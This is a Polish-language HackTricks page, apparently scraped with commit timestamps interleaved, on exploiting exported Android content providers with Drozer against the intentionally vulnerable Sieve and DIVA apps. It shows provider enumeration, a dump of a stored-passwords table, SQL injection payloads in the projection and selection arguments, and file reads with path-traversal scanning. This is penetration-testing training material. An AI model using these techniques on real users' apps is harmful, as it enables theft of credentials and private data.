2024-02-11 01:46:25 +00:00
# Wykorzystywanie dostawców treści
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
## Wykorzystywanie dostawców treści
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-04-07 00:09:03 +00:00
< summary > < strong > Naucz się hakować AWS od zera do bohatera z< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-03 10:43:38 +00:00
2024-04-07 00:09:03 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** , sprawdź [**PLANY SUBSKRYPCYJNE** ](https://github.com/sponsors/carlospolop )!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks** ](https://peass.creator-spring.com )
* Odkryj [**Rodzinę PEASS** ](https://opensea.io/collection/the-peass-family ), naszą kolekcję ekskluzywnych [**NFT** ](https://opensea.io/collection/the-peass-family )
2024-04-07 00:09:03 +00:00
* **Dołącz do** 💬 [**grupy Discord** ](https://discord.gg/hRep4RUj7f ) lub [**grupy telegramowej** ](https://t.me/peass ) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) na GitHubie.
2022-04-28 16:01:33 +00:00
< / details >
2024-02-11 01:46:25 +00:00
## Wprowadzenie
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Dane są **dostarczane z jednej aplikacji do innych** na żądanie przez komponent znanym jako **dostawca treści** . Te żądania są obsługiwane za pomocą metod klasy **ContentResolver** . Dostawcy treści mogą przechowywać swoje dane w różnych lokalizacjach, takich jak **baza danych** , **pliki** lub przez **sieć** .
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
W pliku _Manifest.xml_ konieczne jest zadeklarowanie dostawcy treści. Na przykład:
2024-02-08 03:08:28 +00:00
```xml
2020-07-15 15:43:14 +00:00
< provider android:name = ".DBContentProvider" android:exported = "true" android:multiprocess = "true" android:authorities = "com.mwr.example.sieve.DBContentProvider" >
2024-02-11 01:46:25 +00:00
< path-permission android:readPermission = "com.mwr.example.sieve.READ_KEYS" android:writePermission = "com.mwr.example.sieve.WRITE_KEYS" android:path = "/Keys" / >
2020-07-15 15:43:14 +00:00
< / provider >
```
2024-04-07 00:09:03 +00:00
Aby uzyskać dostęp do `content://com.mwr.example.sieve.DBContentProvider/Keys` , konieczne jest uprawnienie `READ_KEYS` . Warto zauważyć, że ścieżka `/Keys/` jest dostępna w następującej sekcji, która nie jest chroniona z powodu błędu programisty, który zabezpieczył `/Keys` , ale zadeklarował `/Keys/` .
2024-02-11 01:46:25 +00:00
2024-04-07 00:09:03 +00:00
**Być może można uzyskać dostęp do prywatnych danych lub wykorzystać jakieś podatności (wstrzyknięcie SQL lub Traversal ścieżki).**
2024-02-11 01:46:25 +00:00
2024-04-07 00:09:03 +00:00
## Pobierz informacje z **odsłoniętych dostawców treści**
2024-02-11 01:46:25 +00:00
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
2024-04-07 00:09:03 +00:00
Możliwe jest złożenie w całość sposobu dotarcia do **DBContentProvider** poprzez rozpoczęcie URI od "_content://_". Ten podejście opiera się na wglądzie uzyskanym podczas korzystania z Drozera, gdzie kluczowe informacje zostały zlokalizowane w katalogu _/Keys_ .
2024-02-11 01:46:25 +00:00
2024-04-07 00:09:03 +00:00
Drozer może **zgadywać i próbować kilku URI** :
2024-02-11 01:46:25 +00:00
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
2020-07-15 15:43:14 +00:00
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
2024-02-11 01:46:25 +00:00
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
2020-07-15 15:43:14 +00:00
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
2024-04-07 00:09:03 +00:00
Należy również sprawdzić **kod ContentProvider** w celu wyszukania zapytań:
2020-07-15 15:43:14 +00:00
2023-06-06 22:57:49 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 121 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
Jeśli nie można znaleźć pełnych zapytań, można **sprawdzić, jakie nazwy są deklarowane przez ContentProvider** w metodzie `onCreate` :
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 561 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Zapytanie będzie wyglądać tak: `content://nazwa.pakietu.klasy/declared_name`
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
## **Content Providery oparte na bazie danych**
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Prawdopodobnie większość Content Providerów jest używana jako **interfejs** do **bazy danych** . Dlatego, jeśli uzyskasz do niej dostęp, będziesz mógł **wydobywać, aktualizować, wstawiać i usuwać** informacje.\
Sprawdź, czy możesz **uzyskać dostęp do poufnych informacji** lub spróbuj je zmienić, aby **obejść mechanizmy autoryzacji** .
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Podczas sprawdzania kodu Content Providera, zwróć uwagę również na **funkcje** o nazwach: _query, insert, update i delete_ :
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 884 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 22:57:49 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 254 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Ponieważ będziesz mógł je wywołać
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
### Zapytanie o zawartość
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
2024-04-07 00:09:03 +00:00
### Wstawianie zawartości
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Przeszukując bazę danych dowiesz się **nazw kolumn** , następnie będziesz mógł wstawić dane do bazy danych:
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 95 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 170 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
_Zauważ, że podczas wstawiania i aktualizacji możesz użyć --string, aby wskazać ciąg znaków, --double, aby wskazać liczbę zmiennoprzecinkową, --float, --integer, --long, --short, --boolean_
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
### Aktualizacja zawartości
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
Znając nazwy kolumn, możesz również **modyfikować wpisy** :
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 777 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
### Usuwanie zawartości
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 420 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
### **Wstrzykiwanie SQL**
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Łatwo przetestować wstrzykiwanie SQL ** (SQLite)** poprzez manipulowanie **pól projekcji** i **selekcji** , które są przekazywane do dostawcy treści.\
Podczas zapytania dostawcy treści istnieją 2 interesujące argumenty do wyszukiwania informacji: _--selection_ i _--projection_ :
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 781 ) . png > )
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Możesz spróbować **nadużyć** te **parametry** , aby przetestować wstrzykiwanie **SQL** :
2021-10-18 11:21:18 +00:00
```
2024-02-11 01:46:25 +00:00
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
2020-07-15 15:43:14 +00:00
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
2021-10-18 11:21:18 +00:00
```
2024-02-11 01:46:25 +00:00
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
2020-07-15 15:43:14 +00:00
| type | name | tbl_name | rootpage | sql |
2024-02-11 01:46:25 +00:00
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
2020-07-15 15:43:14 +00:00
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
2024-04-07 00:09:03 +00:00
**Automatyczne odkrywanie wstrzykiwania SQL przez Drozera**
2021-10-18 11:21:18 +00:00
```
2024-02-11 01:46:25 +00:00
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
2020-07-15 15:43:14 +00:00
Injection in Projection:
2024-02-11 01:46:25 +00:00
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
2020-07-15 15:43:14 +00:00
Injection in Selection:
2024-02-11 01:46:25 +00:00
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
2020-07-15 15:43:14 +00:00
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
2024-02-11 01:46:25 +00:00
android_metadata
notes
sqlite_sequence
2020-07-15 15:43:14 +00:00
```
2024-02-11 01:46:25 +00:00
## **Dostawcy treści oparte na systemie plików**
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
Dostawcy treści mogą również być używani do **dostępu do plików:**
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 404 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
### Odczytaj **plik**
2020-07-15 15:43:14 +00:00
2024-02-11 01:46:25 +00:00
Możesz odczytywać pliki z dostawcy treści
2021-10-18 11:21:18 +00:00
```
2024-02-11 01:46:25 +00:00
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
2020-07-15 15:43:14 +00:00
127.0.0.1 localhost
```
2024-04-07 00:09:03 +00:00
### **Przechodzenie ścieżek**
2020-07-15 15:43:14 +00:00
2024-04-07 00:09:03 +00:00
Jeśli masz dostęp do plików, możesz spróbować nadużyć Przechodzenia ścieżek (w tym przypadku nie jest to konieczne, ale możesz spróbować użyć "_../_" i podobne sztuczki).
2021-10-18 11:21:18 +00:00
```
2024-02-11 01:46:25 +00:00
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
2020-07-15 15:43:14 +00:00
127.0.0.1 localhost
```
2024-04-07 00:09:03 +00:00
**Automatyczne odkrywanie ścieżek w podatności na przechodzenie do katalogów przez Drozera**
2021-10-18 11:21:18 +00:00
```
2024-02-11 01:46:25 +00:00
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
2020-07-15 15:43:14 +00:00
Vulnerable Providers:
2024-02-11 01:46:25 +00:00
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2020-07-15 15:43:14 +00:00
```
2024-04-07 00:09:03 +00:00
## Odnośniki
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm ](https://www.tutorialspoint.com/android/android\_content\_providers.htm )
2020-07-15 15:43:14 +00:00
* [https://manifestsecurity.com/android-application-security-part-15/ ](https://manifestsecurity.com/android-application-security-part-15/ )
2024-02-08 03:08:28 +00:00
* [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf ](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf )
2022-04-28 16:01:33 +00:00
< details >
2024-04-07 00:09:03 +00:00
< summary > < strong > Nauka hakowania AWS od zera do bohatera z< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-03 10:43:38 +00:00
2024-04-07 00:09:03 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** , sprawdź [**PLANY SUBSKRYPCYJNE** ](https://github.com/sponsors/carlospolop )!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks** ](https://peass.creator-spring.com )
* Odkryj [**Rodzinę PEASS** ](https://opensea.io/collection/the-peass-family ), naszą kolekcję ekskluzywnych [**NFT** ](https://opensea.io/collection/the-peass-family )
2024-04-07 00:09:03 +00:00
* **Dołącz do** 💬 [**Grupy Discord** ](https://discord.gg/hRep4RUj7f ) lub [**grupy telegramowej** ](https://t.me/peass ) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >